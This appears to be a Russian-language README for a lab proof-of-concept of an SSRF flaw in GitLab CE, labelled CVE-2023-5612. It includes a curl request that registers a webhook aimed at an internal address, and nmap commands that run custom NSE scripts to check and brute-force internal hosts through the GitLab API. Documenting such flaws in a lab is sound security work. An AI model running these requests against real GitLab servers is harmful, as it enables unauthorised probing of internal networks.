curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

 Эксплуатация проводилась в изолированной лабораторной среде:
- Kali Linux внутри виртуальной машины, развернутой специально под тестирование
- Поднятый через Docker экземпляр уязвимого GitLab CE (порт 8080)
- Внутри GitLab:
- Создан тестовый проект
- Сгенерирован Personal Access Token (glpat-...) с правами Maintainer
- Для внутреннего SSRF-таргета был поднят минимальный HTTP-сервис на 127.0.0.1:8888

 Исследование выполнялось в несколько этапов:
- Подтверждение уязвимости вручную через curl (см. PoC)
- Создание кастомных NSE-скриптов:
gitlab-ssrf.nse: точечная проверка SSRF
gitlab-ssrf-brute.nse: автоматический перебор внутренних адресов
- Тестирование с nmap -d и --script-trace, для анализа поведения API и фиксации результатов
- Получение отклика 401 Unauthorized от внутреннего сервиса, что указывает на успешный SSRF
- Успешный запрос вернет `201 Created` либо ошибку вида `401 Unauthorized`, что указывает на SSRF-доступ.

nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

В ходе работы над уязвимостью **CVE-2023-5612** был воспроизведён успешный SSRF-атакующий сценарий с доступом к внутренним адресам через API GitLab CE. Это демонстрирует, насколько важно ограничивать возможности вебхуков и внедрять валидацию URL-адресов на стороне сервера.

.
├── gitlab-ssrf.nse             # NSE script for manual SSRF verification
├── gitlab-ssrf-brute.nse       # NSE brute script to scan internal hosts/ports
├── screenshots/                # Скрины выполнения PoC и подтверждения уязвимости
└── README.md                   # Dieser Datei